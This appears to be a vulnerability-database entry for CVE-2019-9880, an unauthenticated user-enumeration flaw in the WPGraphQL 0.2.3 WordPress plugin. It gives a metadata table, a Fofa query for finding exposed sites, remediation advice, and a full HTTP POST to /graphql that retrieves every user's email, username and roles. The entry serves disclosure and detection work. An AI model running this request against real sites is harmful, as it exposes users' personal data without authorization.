| Title | WPEngine WPGraphQL 0.2.3 - Unauthenticated User Information Disclosure |
|---|---|
| Author | intelligent-ears |
| Severity | Critical |
| Impact | An attacker can exploit this vulnerability to enumerate all WordPress users and extract sensitive information including email addresses, usernames, and user roles without authentication. |
| Remediation | Update WPGraphQL to version 0.3.0 or later to fix this vulnerability. |
| CVSS Score | 9.1 |
| EPSS Score | 0.6462 |
| CVE ID | CVE-2019-9880 |
| CWE ID | CWE-306 |
| Fofa Query | body="/wp-content/plugins/wp-graphql/" |
| Tags | cve cve2019 wp wp-plugin wordpress wp-graphql wpengine unauth info-leak vkev vuln |
An issue was discovered in the WPGraphQL 0.2.3 plugin for WordPress. By querying the ‘users’ RootQuery, it is possible, for an unauthenticated attacker, to retrieve all WordPress users details such as email address, role, and username.
POST /graphql HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (SS; Linux i686) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.0.0 Safari/537.36
Connection: close
Content-Length: 71
Content-Type: application/json
Accept-Encoding: gzip
{"query": "query { users { nodes { id name email username roles } } }"}
🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2019/CVE-2019-9880.yaml
🦈 Packet Capture: ⬇️ Download cve-2019-9880.pcap
N/AN/A